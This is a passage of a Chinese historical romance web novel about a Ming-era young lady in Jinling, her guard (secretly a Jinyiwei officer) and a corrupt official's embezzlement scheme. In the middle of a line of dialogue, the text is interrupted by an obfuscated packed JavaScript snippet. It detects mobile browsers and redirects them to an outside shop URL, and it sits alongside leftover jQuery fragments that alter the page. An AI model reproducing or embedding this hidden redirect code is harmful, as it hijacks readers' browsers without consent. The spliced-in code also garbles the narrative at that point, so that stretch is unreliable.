她与钱其羽约定不许说起下晌见过燕如衡之事,钱其羽方才只是“偶然”提起燕如衡,是何用意她也明白。 可没想到的是,爷爷单单仅凭一句话,就为她思忖到如此地步。 钱映仪深深吸气,没忍住又匍匐在钱兰亭膝前呜咽,“爷爷,我不嫁人了,我要陪您一辈子。” 钱兰亭抚着她的脑袋大笑,倏地偏离话锋问:“别想瞒过我,我晓得,你定是见过那燕三郎,你弟弟才会那样讲,你对燕三郎可有喜欢?” “......爷爷!”钱映仪顾不得哭,三两下把泪水擦干,歪过一张俏丽的小脸,“怎么又说回来了!” “你倒是告诉爷爷。” 钱映仪暗里细想,喜欢谈不上,她与燕如衡只见过两次,可她的确不排斥要再见他,一时便嗫嚅着唇,不好作答。 钱兰亭剪着眼皮瞧她,心里明镜一般,一语道破,“你喜欢瞧他那张皮囊?” 这话不假,钱映仪轻轻点了点头。 钱兰亭掬着她的脸,益发慈爱地笑了,“行了,不逗你,爷爷不是要阻拦你们这帮小孩子在一处耍,只是有些分寸还是要的,你可明白?” 钱映仪会其意思,乖顺应声。 祖孙俩又说了好一会的话,钱兰亭困乏不已,记起头先家里来了个新侍卫的事,便道:“你身边那个叫林铮的,我叫人去查过了,所言不假,还算清白,姓吴那小子还缠着你么?日后带林铮出去,叫他拦着。” 说罢向钱映仪摆手,命她回自己的云滕阁早些安置。 钱映仪旋出花厅时,不见夏菱与春棠两个丫鬟,想是回云滕阁替她预备洗漱之物去了,奇的是小玳瑁也不在,剩个面无表情的侍卫在等她。 她这才忆起先前进家门时,要向许珺提出把他调离自己身边一事。 “看什么?”见他扭头望来,钱映仪把下颌微扬,半边薄薄的肩膀擦着他的臂膀过,“还不跟上?” 今日她去了趟江宁,归家收到爹的信件,又哭过两场,到底有些累了。 将侍卫调离走一事,还是明日再与二婶谈。 这时夜已深沉,北风呜咽穿过游廊,小姐侍卫一前一后走在廊下,侍卫手里提着灯,正引着路。 前前后后听了些事情始末,钱映仪不自觉有了心事,总觉心头闷闷的。 像是为秦家痛惜,又像是为那位与秦家长子定过亲的小姐惋惜,更像是为自己有些模糊的将来惆怅。 愣神间,脚步不防就慢了些,凭着行走记忆踩下两截廊坎,正往前走,冷不丁额心撞进一只炽热的手掌里。 钱映仪骇然回神,掀眼往上瞧,天老爷,真是奇怪,她竟迷糊至此,险些撞墙上去? 再细细一瞧,原来是侍卫替她挡了挡。 “你嘴巴只用来吃饭么?”钱映仪一再在他面前被激起脾气,面子上挂不住,一阵赧意渐起,刻意去凶他,“出声提醒我不就好了?要你伸手挡什么?!” 她话虽如此说,语气却没从前凶,说到后面渐渐软了下来。 不知是不是哭过一阵的缘故,眼睛总发酸,一眨眼就落下一滴泪。 秦离铮没见过她哭,那夜值守发觉她陷进梦魇,也只是替她顺了顺气,把她一条胳膊塞回了被衾里。 他垂眼盯着钱映仪,她脸上仍有微不可察的泪痕,眼睑下浮着一圈淡红,两帘打湿的睫毛扑扇两下,好像在他不设防的一刹那,将这幅模样扇进了他心里。 秦离铮缓缓抬手,指腹摁上她的脸,拭走那点湿润,黯淡的眼底因那盏灯笼泛起光亮,“小姐哭什么?” 钱映仪不大爱哭,此刻想及来自京师的那封信,二叔口中的那个故事,眼泪却像断了线的珠子往下跌,带着滚烫尽数跌在秦离铮的手背上。 大抵是先前他曾握过她手腕的缘故,钱映仪这回没那般慌神,倒是先记恨上那堵墙,恨恨哭道:“都怪这墙!没见我要从这过!你替我打它!” 这话十分荒谬,哪有自己不看路反过来怨墙堵路的? 可侍卫这回很听话,握拳往墙面哐哐锤了几下。 没几时,淡然转过身,举着一盏灯笼悬在墙面,“打过了,小姐可出气了?” 钱映仪呆愣望着,双唇开合几阵,没说出一句话,只觉他现下有些不同。 她心中十分明白,先前为了验证他是否听话,是否好摆弄,她曾提过一些无理的要求,他一惯也是照办。 此刻他倒像是格外听话。 钱映仪心底牵出一丝荒谬,她依稀觉得,他与以往有些不大一样。 听话得过了头。 好像她真被一堵墙欺负了,而她作为他的主子受了欺负,他也出自本心地要替她殴墙出气。 11. 第11章 铜漏声声格外悠长,今夜满园静寂,那黄纱灯笼里的烛火乍然熄灭,定睛一瞧,原来是被风吹的。 侍卫往怀里摸出火折子,复又点亮。 灯色渐明,钱映仪窥清他指骨上的红痕,沉了一口气,回神翻了翻眼皮,“你让我说你什么好?白日里不是还与我作对?这会子让你打墙你就打了?” 秦离铮微垂着眼,依着她手指的方向去看,扯了扯唇,“小姐都要赶我走,我自是要听话些。” 听到此节,钱映仪轻轻瞟他一眼。 方才她也是出自本意关心他,他倒惯会顺杆往上爬,她先前怎么没瞧出来? 夜雾与寒夜的露水一样冷,簌簌北风吹得灯笼复又乱晃,往墙上投去斜斜一双影,飘呀飘...影子渐渐重叠在一处,像是绞缠。 怪哉,钱映仪这时候想起来避嫌了,错开他的影子去踩一截石阶,摸了帕子擦拭脸,不防脑中一闪又想起他替自己抹泪,愈发觉得连帕子都烧了起来。 钱映仪斜眼偷窥墙面那道站着没动的影,窃窃提着裙,猫着脚步又挪开一些。 正要再拉远些距离,倏又一顿。她是小姐,她是他的主子,她躲什么?她罚他还来不及呢...... 于是钱映仪果断松开裙,复把下颌一扬,余光瞥着侍卫,自鼻腔里哼出一声,“跟上,耽搁在这做什么。” 对他头一回不合规矩的冒犯,她且暂时作罢。 可大抵是脸皮子稍热的缘故,钱映仪拐进一道月亮门时,又不由地把目光落向前面擎灯引路的背影。 她倏地烦躁,不大喜欢这样不受控制的感觉,因而在岑寂的夜里,那两片淡涂口脂的嘴唇轻轻相碰,拐了个弯去转移注意力,“嗳,你说你是京师人,我从前也在京师,你家住京师哪条街?” 秦离铮脚步一顿,语气无喜无悲,“小姐问这个做什么?” 他尚未直接回答,钱映仪努努嘴,暗骂他小气,又问:“听小玳瑁说,你父母身体康健,你来金陵这么久,可思念父母?” “既身体康健,为何要思念?”秦离铮停了下来,仍是一副不加掩饰的凉薄语气。 钱映仪险些又撞上他的背,急匆匆停下朝他的背一戳,捉裙绕去他身前,眼色犹有不解,“这哪需要缘由?人心都是肉长的。” 秦离铮目光稍冷,敛起神色让开她,一言不发引路。 钱映仪被那一眼惊得有些发怔,恍然忆起他刚来家里时,说弟弟是个烂赌鬼,否则她也不会在街边捡着被打伤的他。 金陵门户万千,有些人家里多多少少也有偏疼小儿子的父母,想及此处,钱映仪只当他或许是因弟弟的缘故才与家中不亲近。 不好往人伤疤上戳,钱映仪自觉不妥,也就不与他计较什么了。 回云滕阁的这条路今夜稍显漫长,护送至院门外,秦离铮便停了脚步,将灯笼高高挂起。 几丝微黄的灯光倾斜在他的身前,钱映仪回身望着,抿了抿唇,还是道:“倘或你听我的话,我就考虑考虑不再赶你走。” 两个丫鬟听到动静出来,钱映仪旋裙踅进屋子里,剩一道俏丽婀娜的影照在纱窗。 秦离铮的目光凝在窗边,俄延半晌,黄纱灯笼的火光渐隐,直至夜已是黑漆漆的,秦离铮方拔脚往自己的屋子那头走。 推门时,小玳瑁正穿戴整齐,哥俩好拍一拍他的肩,“睡过上半夜,精神头是好些,还是你的主意好,叫我先回来睡。” 话音甫落,胡乱饮了两杯茶,就错开秦离铮往云滕阁外去守着了。 秦离铮推开窗,掌灯往案前坐下,背欹进椅子里,由烛光侧照在半张脸上,独坐片刻,平静无波的脸色终于有了裂痕。 今夜在钱家人嘴里听到往事,实属意外。因此他卑鄙地支走小玳瑁,在外偷听。 顿了顿,秦离铮摸出怀里手札,写下: ——兄长之仇,我势必亲手了断,近两年与爹娘无书信往来,听手下人说二老渐渐打开心结,我尚能安心...思念?离恨恰如春草,更行更远还生。如何不念呢?可愈是疏离,愈发好办事。 ——念爹娘,念兄长,兄长在天之灵可有听见?如今也依旧有人为兄长义愤填膺。 秦离铮习惯用吹风来逼迫自己始终保持冷静之态,正埋首书写,一阵风刮过来,鼻腔里涌进一股浓厚的墨水香,以及一缕微不可察的...零陵香。 他横臂轻嗅,原是替小姐拭泪时,不慎沾染了两分她的气息。 脑中浮现一张俏丽的脸,一会咬牙切齿含笑掐他,一会攒泪撇唇,秦离铮不自觉另铺一页纸张,提笔画下那张脸,刻意将腮画得鼓鼓的,两粒豆大的泪珠就挂在腮肉上。 画得秦离铮笑了,在画像旁批注: ——跳脚的莺雀,哭起来蔫了,再无叽叽喳喳之声。 顿一顿,又写: ——虽是娇气,却不大盛气凌人,心软下来时,即便一副凶态也让人难以生厌,性情依旧难以捉摸,女人都是如此? 很可惜,与女人有关的问题,秦离铮暂且钻研不透,且把手札合拢,一惯是沉默寡言,自顾打水沐浴去了。 金陵总是及时雨过天晴,晴空一鹤排云上,便引诗情到碧霄。秦淮河岸又多了些和鸣酬唱之景。 行院门前的娇颜一如既往地笑,无趣时刻意把帕子扬在微风里,谁捡了去,姑娘们就逮着谁作弄打趣。 却说这日燕如衡从江宁县衙出来,就落坐马车往家中赶。 江宁离家远,燕如衡往常总是宿在衙门里,今日忙里抽空得以归家,自是因母亲王采苓将过生辰,使人传话,命他回家团聚。 燕家是在夫子庙旁的四福巷,门庭乍一看去不算富贵,细细瞧,才发觉自有一股高雅从书香门庭里绵延出来。 往里走,宅子里是宽阔华丽,一路上不住地丫鬟小厮干活,见了燕如衡就端正福身行礼。 左拐右蹿,进了王采苓的院子,燕如衡打帘进去,面上挂起一抹温和有礼的笑,朝山水屏风后的蒙蒙人影作揖,“娘,儿子回来了。” “哟,还晓得回来,”话音比人先出来,里头传来下榻踩鞋的声音,半晌才转出一位美妇,像是午憩未醒,脸上懒色尽显,“往前你在凤阳府,我见不着你,总写信催你回来看看,如今你调任回来,还要我去请,是个什么道理?” 燕如衡笑,“是儿子不孝。” 王采苓一连嗔他几眼,由两个丫鬟伺候清洗脸,没几时,便笑道:“你爹今日也回得早,说是给我备了些新鲜玩意,且随我一同去瞧瞧。” 于是母子二人穿堂过,往前厅寻到了燕榆的身影,他正遛着一只平平无奇的鹦哥,见二人过来,便由小厮将鸟笼接过去。 燕榆五官生得端正,如今年岁虽说渐渐上来,体态却远超旁的官员一大截,依稀能见玉树临风之态,眼眉处与燕如衡也有三四分相似。 燕如衡上前作揖,被他一把托起,“一家人,我儿何必见外。” 言罢笑着朝王采苓招招手,惯会瞧眼色的小厮忙抬来个箱笼,打开一瞧,里头满满当当都是上等的云锦。 除此之外,燕榆不知打哪掏出个小巧妆奁,凑到天光下给王采苓打量,只见那妆奁里摆满宝石玉钗。 王采苓的目光被两个琉璃香瓶吸引,不禁拿起细看,“做工小巧,很是漂亮......” 燕榆扯着唇笑,“走海路过来的,不大值钱,胜在稀奇,你弟弟在递运所, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16790591|190568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发现这两个香瓶便与我说了,我便讨了过来。” 见王采苓满面惊喜,燕榆不可避免轻抚她的背。 日头正盛,恐王采苓晒着,一家三口往厅内走,期间燕榆问起燕如衡在江宁县的公务,燕如衡自也是老实答了。 渐渐日暮低垂,丫鬟小厮上前摆饭,席上王采苓很是高兴,止不住地给燕如衡夹菜,没几时就堆满了整个碗。 燕如衡无奈,“娘,我不小了。” 王采苓乜他一眼,笑问:“你姐姐难能归家一次,你也愈发地不着家,难不成我做母亲慈爱些,也有罪了?” “是儿子的错。”燕如衡捧着碗吃饭,不再吭声了。 用罢晚饭,王采苓说是要去看看那些云锦,与燕如衡道:“你父子二人好些日未见,多聊聊,我先出去。” 她走时,屋子里的丫鬟也退了下去,临了不忘关上门。 燕如衡坐在椅上,垂着眼沉默,良久的。 久到燕榆不知何时起了身,踩在厅内地砖上缓慢踱步,笑问:“衡儿,前几日,你在江宁见到那位钱小姐了?” 燕如衡倏然抬头望向父亲,单独相处时,父亲说话不大喜欢拐弯抹角,向来直切正题。 半晌,他轻点下颌,“是,见到了。” 燕榆似笑非笑把他肩膀拍一拍,“不是爹派人跟着你,只是爹也想晓得这其中进展,你既见到她,可有与她说些什么?” “聊了些家常。” 燕榆仿佛很是满意,走回椅前端着茶淡呷,眼色渐露出两分算计,“你往上递的公文我收着了,若非应天府有一帮人等着我倒台,我也不必兵行险着,靠公文传递消息,三万两...只是小数目,你如今最重要的是揽获钱小姐的芳心,她可大有来头,为着她那做户部郎中的姐夫,咱们也得暗地里使把劲。” “你晓得的,虽说皇上未推行什么新策,但朝廷的风向向来是不知何时就变了,趁我还是应天府的一把手,你舅舅又管着递运所,咱们家早早地未雨绸缪,弄些银子在手里握着,日后依旧还是能过好日子。” “待钱家与咱们成为一条船上的蚂蚱,不怕户部那头的账目过不去。” 燕如衡有些出神,抿着唇未答话。 冷不防身前站了一双脚,燕如衡惊答,“儿子明白。” 燕榆眼色稍冷,居高临下盯着燕如衡看了许久,半晌才扯出一抹笑,“你向来听话,听爹的,总没错。” 朱门玉户,华丽延绵。远远瞧着,父子俩一个坐着,一个站着,做父亲的把儿子肩头拍一拍,很是欣慰。 二人再说了些什么,有些模糊不清了。但好在趴在屋顶暗探消息的身影耳清目明,渐渐瞪大了眼,待底下再无动静,才悄无声息隐去。 于是这道身影一路夜行,穿街走巷绕过半座金陵城,轻巧翻过了钱家的高墙。 这厢秦离铮正值守,倏闻一阵极低的信号声,神色稍敛,拖延半晌才循声过去。 墙根底下倚着一道身影,不是褚之言又是何人? 秦离铮浓眉重叠,“谁许你擅自往这里来的?” 借以替钱映仪买吃食的间隙,二人两日前在河边见面,互相交换过消息。 褚之言丝毫未有顾虑,眼底更多的是兴奋,他压低声音道:“指挥,大新闻!” “你不是叫我盯紧燕如衡?那三万两的确是为贪墨,今日燕如衡归家了,我听燕榆亲口承认。”褚之言上前半步,脸像被切割开,一面隐在阴影里,一面亮在昏沉的月色下,“你猜测得不错,燕榆的确把目光放在余骋身上,但今夜有桩更要紧的事......” 他牵出个神秘莫测的笑,“更刺激的是,二人看似是父子,实际不是亲生!” 12. 第12章 “指挥,你未曾料想过吧?”褚之言瞳眸里满是得意,“想不想快些知道这其中的秘密?” 秦离铮乜他一眼,以沉默面对。 褚之言翻了翻眼皮子,暗道没意思,到底是神色严肃起来禀明公事。 自打皇上留意金陵这班官员后,以应天府为首的燕、蔺两家就率先进入彻查之列,早在来金陵前,秦离铮就已掌握这两家的所有信息。 可不知道的是,燕如衡竟非燕榆亲生? 燕榆早年是寒门入仕,祖籍凤阳府庐江县,因自身饱学,被扬州通判瞧上,许了女儿王采苓与他为妻。 燕榆父母早亡,家中尚有一弟,名燕承,二人相差五岁,这燕承如今也是庐江县的知县,兄弟二人却鲜少有来往。 但听褚之言道:“我趴在屋顶上,越往后听越觉得不大对劲,这燕榆竟是有病。” 何病呢?这要从二十几年前一桩喜宴说起,彼时王采苓又诞下一子,取名知珩,燕榆当时单单是上元县的县丞,也架不住喜得麟儿,高高兴兴摆了筵席,宴请县衙公事的一班末流官员。 燕榆在席上与人喝得红光满面,夜深客散时,醉得不省人事,竟倒头一栽跌进个不深不浅的池子里。 小厮忙不迭打捞,只说老爷落水,捞起来却见燕榆面色不对,双唇惨白如鬼,大冷天的额上竟汨出一层汗珠子! 这事惊动王采苓,连夜寻了郎中瞧,这一瞧可了不得!燕榆跌进池子里时,下身撞上一截尖石,那郎中断言,日后虽不妨碍行房事,要想有子嗣...便再是不做指望了。 消息如同晴天霹雳,燕榆自那日后,性子有些细微地转变,可老天仿佛是要他再历经一场劫难,才刚满月没多久的珩哥儿因丫鬟婆子看顾不力,连发三场高热,小小年纪就这般去了。 夫妻两个几近绝望,虽仍有燕文瑛承欢膝下,却总归是心有不甘,加之燕榆不可能再有后,燕榆日渐阴郁,打起过继儿子的主意。 恰逢二弟燕承新婚诞下一子,燕榆不知与燕承许诺什么,燕如衡还在襁褓里便被抱来了王采苓身边。 燕榆命人悄无声息把珩哥儿埋了,对外宣称小儿子染病身子薄,算命的说是要关家中静养三年,是以燕如衡三岁时才出门与一些个小朋友玩耍。 为何又称燕三郎?燕榆彼时如此说:“算命的讲,我儿生来与二这个数字犯冲,因此避开了。” 对内,则是燕榆仍心痛珩哥儿小小年纪离世,命燕如衡奉珩哥儿为兄长,顺延下去,在家中排第三。 说到此节,褚之言睁目圆瞠,“燕榆与他那弟弟一个愿打一个愿挨,以子做交易,我生平还是头一遭听说。” 又道:“燕如衡原先是不晓得自己非燕榆亲生,还是后来去凤阳府做官,与燕承一家来往得频繁,这才察觉出此事,我听燕榆话里的意思,像也是顺势而为,既燕如衡知道了,他就好更明晃晃地指使燕如衡替自己办事。” 说罢他摆摆头,“指挥,你是没亲眼看见,这两父子坐在一处,燕如衡的脸色要多古怪有多古怪。” “喊了这么多年的爹其实不是爹,能有什么好脸色?”秦离铮把眼稍瞥他,懒洋洋往墙根上跌靠,“人心难测,燕如衡已经知道自己不是亲生,却还助纣为虐,想必也两番权衡过,只是难以做出抉择。” “有这个切口,咱们便更好从燕家下手,燕家既要贪,只能从官银上贪,粮食、修缮、丝绸...这其中少不了斡旋,也少不得要与巡检司、递运所、织造局打交道。” 秦离铮此刻忆起那日偷听,钱兰亭言及燕家小厮侯在礼部与吏部等人,牵出一抹冷冰冰的笑,“指不定,燕如衡突然从凤阳调任回来,也是燕家向南直隶吏部使了银子的缘故。” 褚之言闻言敛起神色,打了个拱手,“咱们就一路揪出条贪墨链,看看这金陵的贪官究竟几何。” “你先走,”秦离铮淡淡挥手,“日后有事,在宅子外头向我递信号便是,钱兰亭精明,这府里的侍卫也不全是摆设,引人怀疑小心坏事。” 褚之言复又乐滋滋笑了笑,一扭话锋道:“你是怕小姐怀疑吧?” “指挥,我觉着你侍卫的差事做得比锦衣卫好多了,像是多了些...七情六欲?” 说罢怕挨拳头,往墙头一翻溜没了影。 秦离铮往墙头望一眼,沉默敛神窥探四周,见周遭只有些枯木残枝,并一些堆积在地的落叶,这才转背往云滕阁走。 落叶被两只凤头履踩得咯吱响,钱映仪肩头搭着披风,正由树下往一张石桌旁走,“夏菱,使两个丫头把这稀稀散散的叶子都扫一扫,我最瞧不得院子里不干净。” 夏菱应声,忙不迭唤来两个洒扫丫鬟,没几时就扫了干净。 钱映仪方坐下没多久,就眼尖瞥到侍卫从另一头来,笑嘻嘻唤他,又招来其他人,喊道:“都过来,小姐我有话讲!” 宽敞干净的院落里登时围了里外两圈,夏菱与春棠掌灯,钱映仪挨个瞧去,笑了两声,“马上便要开春了,做丫鬟的年纪小些,有没有身量长高了些的,报与夏菱,咱们云滕阁还是一如既往,每年替你们裁制四套新衣。” 丫鬟们立时喜笑颜开,不住地谢谢小姐,忙向夏菱报上尺寸,又一个个地小嘴儿抹蜜似得,说了好些夸赞钱映仪的话,半晌方消停。 向丫鬟们问过话,便轮到两个侍卫。 实则钱映仪从前有四五个侍卫跟着,她总说姑娘家要不了这样多的侍卫,偏许珺疼爱她,固执塞了过来。 事实证明有时也不是人多就万事大吉,那几个侍卫胆小怕事,见了吴小少爷不也是打骂不得、驱赶不了? 故而如今云滕阁只留小玳瑁与秦离铮。 小玳瑁偷瞄春棠,有些害羞,扭捏道:“小姐,我也长高了,只不过我一个男子,没量过什么尺寸,能不能请春棠先替我量一量?” 钱映仪哪能不晓得他是何用意,起了逗弄的心思,作势托腮笑,“春棠愿不愿意替你量身,要看你自己的本事逗得她笑了,她高兴了,自会答应你。” 正逢隔壁新搬来户人家,请了戏班子在家中唱戏,此时尚早,也算不得扰民歇息。 小玳瑁耳朵灵光,听了两句,忆起春棠虽听不见,却爱看戏,便昂首挺胸,双指一并唱着: “我家就住红楼上,还望君子早降光。青儿扶我把湖岸上,莫叫我望穿秋水,想断柔肠......” 他唱得丝毫不觉隐晦,夏菱好笑轻掣钱映仪的袖摆,打趣道:“哎唷,小姐,这戏听得怪腻的哩,可惜春棠听不见,不就是白费劲么?” 小玳瑁咿呀唱罢,刻意显露滑稽笨拙之态,倒生生把春棠逗笑了,当即一喜,望向钱映仪,“小姐?” 钱映仪亦是笑得肩膀颤巍巍地抖,“我说你一双眼最近怎么像长在春棠身上,还以为你眼睛不大舒服,哦,原来像是一出公子有情小姐无意的戏,你喜欢春棠,所以日夜思念她,想断肠。” 说得小玳瑁有两分害臊,抿着唇总把春棠偷瞥,钱映仪也不再逗他,使春棠回屋取过软尺,稍刻,春棠就替小玳瑁量起身来。 离得近了,小玳瑁面色涨红,好容易讨来个机会,这会子竟又面皮薄起来,不敢睁眼去瞧近在咫尺的春棠。 这厢满面羞红,那头钱映仪瞧着秦离铮,便问:“你还不报一报你的尺寸?要请人替你量身么?” 量身裁衣向来要环绕胸前,秦离铮不喜旁人近身,也为免怀中手札被发现 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面色白皙的少年连眼睑都浮着一抹红,像是又捡回两分神思,三两步行到秦离铮身边,与秦离铮商量道:“日后春棠何时值守,我就何时值守,好兄弟,你会成全我的,是不是?” “你与我非亲非故,我因何成全你?” 小玳瑁瞠目,“我以为我们两个已是好兄弟了......” 秦离铮话语虽夹带几分薄情,却把脚步一转,自顾往院外离去。 小玳瑁眨巴着眼,明白过来,摁下高兴朝他低喊:“谢谢你呀!” 夜已渐深,隔壁那班唱戏的戏子也霎时停歇,天边飘着淡淡几片云影,没几时各自散开,露出垂在树梢上的弯月。 大约是止不住隔壁唱戏,被迫听了半截的缘故,又或是小玳瑁今夜也唱了,秦离铮跌进一个迤逦梦幻的梦里。 不知几时,他到了一处繁丽的戏园听戏,前方隐隐有个婀娜身影也在听。 她似有所感,回头把他一望,笑着招手,“快来,这戏唱得正好。” 走近了,才见面前一班戏子唱着先前小玳瑁唱过的那出戏。 “唱得不错哩。”身旁娇影笑嘻嘻出声,秦离铮扭头去看,竟是钱映仪那张熟悉俏丽的脸。 戏台犹热闹,看客愈发地多,她话音甫落,就拉着秦离铮往角落里的椅上坐,双眼轻眨,乌鬓虚缠,手竟是掐住他的腰,蹙眉问他:“先别顾着听戏,我问你,我替你裁衣,还算不得好么?你为何不许我看你?” 秦离铮欲出声,却有一丝奇异的感觉自腰上传来,酥酥麻麻,拉拽着他不松手。 戏台上又在唱那句“莫叫我望穿秋水,想断柔肠”,腰上那只手往上轻挪,一时她竟又站在他两腿间,指尖往他心房前打了两圈,“你呢?你有七情六欲么?可有想断......” 仿佛是还有零散的意识,秦离铮能猜出她往下要说什么,连忙遏制自己退离此处。 没走两步又被那双纤白柔软的手绊住。 戏子犹在唱,台下众人高声喝彩,满天飘着彩屑,小姐把他轻拉回身边,意欲蛊惑,“就留在我身边,做一辈子的侍卫,旁的地方不要去了,好不好?” 锣鼓喧嚣,在小姐愈发靠近时,那面铜锣重重一敲—— 秦离铮倏地惊醒坐起,急喘着气。 更漏声声,床边灯烛已灭。男子体热,是以被褥里总透着暖意。 此刻却是有些凉。 外头仍是一片寂静,凑巧有个小厮回房,“嘭”地一声掩紧了门,声响远远传了过来。 除此之外,再无半分动静,剩秦离铮独自撑身坐起,睁着一双错愕至极的眼,盯着身下,独面那个荒诞不已的梦。 13、第13章 秦离铮久不能回神,直至三更天的梆子敲响,才提了桶水清洗,把那“证据”一把揉搓干净。 洗到小玳瑁回来换值,把眼惊瞪,“天老爷,半夜里洗袴,你做什么呢?” 至于回答,小玳瑁未能等到,只眼睁睁瞧着他拧干冷水,自顾离开了。 红杏飘香,柳含烟翠拖轻缕。先前那阵雨像是最后一丝寒,一晃过去大半个月。 这日正是莺红柳绿,徐徐和风。钱映仪正埋首窗前画那话本子上的武生小像,夏菱轻步进来,稍稍将半开的窗合拢,往怀里摸出个四四方方的小盒子,搁在钱映仪身前。 “小姐,陈老板派人送来的。” 盒子里是一对青玉连珠镯,底下铺着一封信,说是那下册的稿子已然开始印刷。 只待分批送往扬州、苏州等地,届时盈利按月检算,依旧照老规矩,请钱映仪使丫鬟前往印宝阁取银票。 这镯子便当作是火急火燎催促钱映仪交故事的赔礼。 这世道,说不爱金银财宝都是假话。 钱映仪心情大好,凑巧隔壁那户新邻居请的戏班子复又开唱,她当下撂了笔,轻轻推开窗,自阳光下漾出个暖洋洋的笑,“成天的唱戏,听得我耳朵痒,夏菱,我也想听戏。” “小姐想请哪个戏班子上门唱?” “哪个都不请,”钱映仪笑嘻嘻旋裙,“我要出去听,把春棠与小玳瑁都叫上,还有...” 话语顿一顿,钱映仪才道:“林铮也叫上吧。” 说来奇怪,往前她只要做些什么,林铮总不近不远在一旁候着,即便出门他也跟着。 近来足足有半月,她都依稀只能在院子外头窥见他模糊的影子,他倒是倏地神出鬼没起来。 夏菱也爱听戏,乐呵呵应下,一眨眼就跑了出去。 日头正盛,云滕阁外一处假石后头,小玳瑁捧着本书瞧得认真,连身后渐起脚步声都没发觉。 蓦然有一只手自他脑袋顶绕来,抽走了那本书,“金陵风流韵事?” 小玳瑁下意识要抢,看清来人是谁,才悻悻笑道:“天气暖和,我躲个懒,你不会与小姐说吧?” 秦离铮垂眼扫量书封上的“风流韵事”半晌,把书扔还给他,阖眼靠在假石上,“你几时爱看这个?” 小玳瑁尚有廉耻之心,腆着脸解释道:“你知道我喜欢春棠,但春棠好像对我没什么意思,我不大好意思去问我爹娘如何追求心仪之人,前些日子跟小姐出门,路过一处书摊瞧见,就顺手买了,想着学一学。” “那你可有学会?” 闻言,小玳瑁又有几分鄙夷,“别说了,不知是哪位没尝过情爱滋味的大家写的,什么风流韵事,我越往后看,越觉得就是个白胡子老头孤独终老、暗自幻想之作!” 他道:“里面提及一位富户看上一位卖豆腐的娘子,爱慕之举便是不经那娘子同意,就奉上数千两白银与她爹,草率将她迎回家做了第三房小妾,那股新鲜劲过了,又对她置之不理,简直可笑!” “真正喜欢一个人,怎会是这样?” 秦离铮随口一问,“怎样才叫真正的喜欢?” “自然是日夜都想着她!至少...夜里做梦也能梦见她!” 秦离铮蓦然睁眼,静静望向他,良久道:“你说什么?” 小玳瑁只当他没听清,兀自说得沉醉,“我说真正喜欢一个人,那人是会出现在自己的梦里的,不仅如此,还要尊重她,呵护她,尊求她的意见,倘或是喜欢她,更是巴不得她时刻就在自己身边才是。” 话音甫落,小玳瑁低声自语:“我也不大明白,这或许是一种本能的...出自一个男人对一个女人的小小占有欲。” “譬如此刻,我就想能与春棠待在一处,多待一会儿。” 也许是老天可怜他,假山石旁的柳条被暖风吹得打转,没几时转来夏菱,隔着小池冲他喊,“小玳瑁!你怎在这偷懒?快些过来,还有林铮,一并过来,小姐要带咱们出去听戏!” 小玳瑁霎时连神情都飘飘然,想及美梦成真,声音都软了许多,“来啦!” 片刻,秦离铮行至云滕阁外,一眼望见钱映仪。 她今日穿酂白短比甲,印着铃兰花纹,内里是件粉色立领琵琶袖,底下是条黍黄提花缎马面裙。梳着高高的髻,耳后自两边各缠绕一圈黄色细绳,尾端编着辫子,灵动俏皮,愈发可爱。 大约是心情十分美妙的缘故,见了他,她竟是扬唇笑了。 秦离铮没挪开眼,恍然觉得她笑起来像几簇花色艳丽的垂丝海棠聚在一处,好似蛊惑着他,命他像在梦里那般,靠近她。 钱映仪依旧维持整洁有序的习惯,这厢刚出屋子没一会儿,又扭头往回走,嘴里念叨着:“我再瞧瞧。” 也不知她到底是瞧什么,待得三进三出,总归是安心出了院门。 秦离铮低垂着脑袋跟上她的脚步,看她的影子在前头蹦蹦跳跳,像个欢脱的莺雀,心中愈发煎熬。 自打那夜头一遭梦见她,她就在他的梦里无论如何也驱赶不走,这大半个月里,有时连着两三日梦见她,白日刻意离她远些,夜里便有好转。 可架不住她身为他的主子,时常有这样那样的琐事嘱咐他去办,他大多数时候已然是低头不去看她。 怪哉,她究竟有什么魔力?叫他一连发梦,往日他睡觉很是老实,因在锦衣卫里摸爬打滚,向来也是睡得浅。 再如此下去... 他还如何像个没事人一般蛰伏在她身边?秦离铮闭了闭眼,不愿被绊住脚,打定主意要竭力甩开那一连串迤逦扰人心智的梦。 一行人热热闹闹出了门,秦淮河岸浮着富贵荣华,耀眼的阳光映照下来,粼粼波光绵延出一道靓丽的线,整个河岸像是一条漫无边际的银河。 河岸戏班子多,戏楼更是一连排紧挨着。 钱映仪兴致正盛,挑了家还算相熟的进去,也不讲究什么侍卫丫鬟与小姐,使老板安排了个雅间。 这时候戏客算不得多,大多数是戏班子唱什么就听什么,钱映仪出手大方,因而老板请她点戏,她便点一出她爱听的《拜月亭》。 把眼稍瞥望眼欲穿的小玳瑁,再暗窥春棠那张隐约有几分薄红的脸,只道两个是不敢戳穿彼此心意。 于是钱映仪窃窃笑了两声,把戏单子交给春棠,只比划着说她爱看戏,叫她也点一出。 春棠抿着唇,扑扇的羽睫轻颤,依旧安静得叫人不忍轻扰,半晌眨眨眼,点了一出《看钱奴》。 倒并非是那等传唱才子佳人的戏。 小玳瑁像是迎面泼下一缸水,有些挫败。但好在他向来会自己劝自己,俄延几晌,复又牵出一抹笑,紧挨着春棠坐了下来。 两出戏唱罢,外头已是日暮倾斜。 钱映仪意犹未尽,请来戏楼的老板,笑吟吟抚掌,赞道:“方才唱《拜月亭》那位青衣真不错,您请她来,我请她喝茶。” 这戏楼老板是个三十来岁的女人,俗称苏老板,闻声连连发笑,“她呀,叫璎娘,打小养在我跟前,算得上我半个女儿,我不晓得花了多少银子使在她身上学戏,今日能入小姐的眼,是她的福气,我这便叫来。” 大约正如这苏老板所说,璎娘算她半个女儿,急步赶来钱映仪面前时,已然洗净一张脸,一副不欲再登台的模样。眼眉似水,站在门前端端正正朝钱映仪福身。 春棠引她进门,沏茶与她。 